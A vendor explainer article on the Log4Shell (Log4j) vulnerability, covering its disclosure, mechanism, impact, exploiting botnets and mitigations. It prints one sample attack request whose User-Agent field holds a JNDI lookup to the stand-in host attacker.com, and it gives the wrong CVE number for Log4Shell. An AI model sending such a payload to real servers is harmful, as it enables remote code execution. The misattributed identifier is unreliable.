By: Amr Alashaal, Regional Vice President – Middle East at A10 Networks
Of all the security issues that have appeared over the last few years, none has had the impact of the Log4j exploit. Also called the Log4Shell, it was reported to the developers, the Apache Software Foundation, on 24 November, 2021, by the Chinese tech giant Alibaba and it took two weeks to develop and release a fix.
The existence of the Log4j exploit was first publicly published in a tweet by Chen Zhaojun, a cyber security researcher with the Alibaba Cloud Security team on December 9, 2021 and formally announced by the U.S. Institute of Standards (NIST) under identifier CVE-2021-44832 on December 10, 2021 with a follow-up reanalysis, CVE-2021-45046, published on December 14, 2021. The Apache Software Foundation gave the exploit the highest Common Vulnerability Scoring System severity rating of 10.
The exploit allowed cyber threat actors to mount remote code execution (RCE) attacks on the widely used Apache Log4j Java logging library. An RCE exploit allows an attacker to run whatever code they please on a remote device. In the case of the Log4Shell vulnerability, which was particularly easy to exploit, successful execution allows the attacker to obtain full access to the computer.
What is Log4j?
Log4j is a subsystem for recording events such as error and status reports, an important component of modern applications. Developed by the Apache Software Foundation, Log4j is a free, open-source software package (also referred to as “FOSS”) written in Java. First released on January 8, 2001, the package became a foundational component of an extremely large number of projects due to its lightweight and easy to use characteristics.
How Does the Log4j Vulnerability Work?
The Log4j vulnerability is due to the use of the Java Naming and Directory Interface (JNDI), which allows additional Java objects from remote naming services during runtime execution. Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) were all vulnerable to Log4Shell. The first completely fixed Logj4 release was version 2.17.0, published on December 17, 2021.
To mount an attack, cyber threat actors send web servers specially crafted HTTP/HTTPS requests to log an event that includes a JNDI request in the header that might get logged as, for example, a user-agent string:GET /subdir HTTP/1.1Host: company.comUser-Agent: ${jndi:ldap://attacker.com/x
If the attacker is lucky, the server passes the user-agent string to Log4j to be logged. Log4j interprets the string and, finding a JNDI request, queries the specified LDAP server. This is where the problem lies in vulnerable versions of Log4j because of inadequate verification and “cleaning” of the request. The LDAP server, which is controlled by the attacker, responds with directory data that contains the malicious Java object. The data is received by the server and executed and the system gets compromised.
How Bad is the Log4j Exploit?
Some of the most notable services affected by the vulnerability included Cloudflare, iCloud, Minecraft: Java Edition, Steam, Tencent QQ, and Twitter.
Cloudflare’s CEO, Matthew Prince, tweeted on December 11, “Earliest evidence we’ve found so far of #Log4J exploit is 2021-12-01 04:36:50 UTC. That suggests it was in the wild at least 9 days before publicly disclosed. However, don’t see evidence of mass exploitation until after public disclosure.”
Of course, after public disclosure, cyber threat actors swung into action. An article posted on the Google Security blog updated nine days after the Log4Shell vulnerability was announced, wrote that “The ecosystem impact numbers for just log4j-core [the Apache Log4j Implementation], as of 19th December are over 17,000 packages affected, which is roughly 4 % of the ecosystem. 25% of affected packages have fixed versions available.” As the Google article pointed out, that was the proverbial “tip of the iceberg” because those packages were used by other packages resulting in over 35,000 Java packages being vulnerable.
The Google blog post also pointed out that “For greater than 80% of the packages, the vulnerability is more than one level deep, with a majority affected five levels down (and some as many as nine levels down). These packages will require fixes throughout all parts of the tree, starting from the deepest dependencies first.”
The reason Log4j became such a big deal was due to the enormous number and popularity of products that used the library; hundreds of millions of devices were, and many still are, affected as a consequence. A contemporaneous article in The Guardian described the vulnerability as “a major threat to organizations around the world” and noted that it “may be the worst computer vulnerability discovered in years.” Those assertions proved to be correct.
In mid-December 2021 Glen Pendley, deputy chief technology officer at Tenable, commented, “[the Log4Shell vulnerability] … is in a league above every other vulnerability we’ve seen in the last few decades. It gives flaws like Heartbleed and Shellshock, a run for their money because of just how pervasive and devastating it is. Everything across heavy industrial equipment, network servers, down to printers, and even your kid’s Raspberry Pi is potentially affected by this flaw. Some affected systems may be on-premises, others may be hosted in the cloud, but no matter where they are, the flaw is likely to have an impact. Cybercriminals are already rubbing their hands with glee as early signs of ransomware activity have started to emerge. The worst part is, we aren’t even in the thick of it yet. Don’t be surprised when some major disruptions occur over the next few weeks and months, pointing at Log4j as the root cause.”
The bottom line is that the Log4Shell vulnerability is a systemic problem due to its appearance in tens of thousands of libraries used by thousands of programs. The resulting complexity makes fixing enterprise-class applications very difficult. A list of applications affected by Log4j can be found on GitHub.
Who’s Using the Log4j Exploit and How?
Once the Log4j vulnerability was publicly announced, multiple cyber threat actors immediately began to use it. For example, starting on December 15, 2021, an Iranian state-sponsored hacking group named Charming Kitten or APT35 launched multiple attacks against Israeli government and business sites trying to exploit the Log4j vulnerability.
While attacks using the Log4Shell vulnerability can be effective for state actors focused on specific politically targeted websites, the really dangerous use of the exploit is when botnets perform large scale scanning for vulnerable sites to create crypto mining and DDoS platforms. Given that there are still millions of unpatched sites using out of date Log4j code, it’s fertile ground for hackers.
As early as December 2021, security researchers identified Mirai botnets adopting the Log4j vulnerability to suborn IoT devices including IP cameras, smart TVs, network switches, and routers. Since then two botnets, Elknot (also known as the BillGates trojan) and the Gafgyt (AKA BASHLITE), have also been detected using the Log4j exploit.
A relatively new malware named B1txor20 by researchers at Qihoo 360’s Network Security Research Lab also exploits the Log4j vulnerability. The malware, which deploys backdoors, SOCKS5 proxy, malware downloading, data theft, arbitrary command execution, and rootkit installing functionality was first identified in March of 2022 and attacks Linux ARM, X64 CPU architecture devices. Using the Log4j exploit, the malware infects new hosts and uses DNS tunneling to receive instructions and exfiltrate data to and from the botnet’s command and control servers. Fortunately, B1txor20 has non-functional features and is buggy but, of course, the cyber threat actors behind the malware are expected to fix and improve the software.
How to Prevent Log4j Exploits
There are four ways that enterprise cyber security teams can prevent Log4j exploits in vulnerable systems:
- Upgrade or disable Log4j libraries. As noted earlier, fixing enterprise-scale applications while minimizing service downtime can be an engineering nightmare.
- Deploy a web application firewall (WAF) to filter out unauthorized sources and content such as JNDI requests from unknown IP addresses.
- Disable JNDI lookups.
- Disable the loading of remote Java objects.
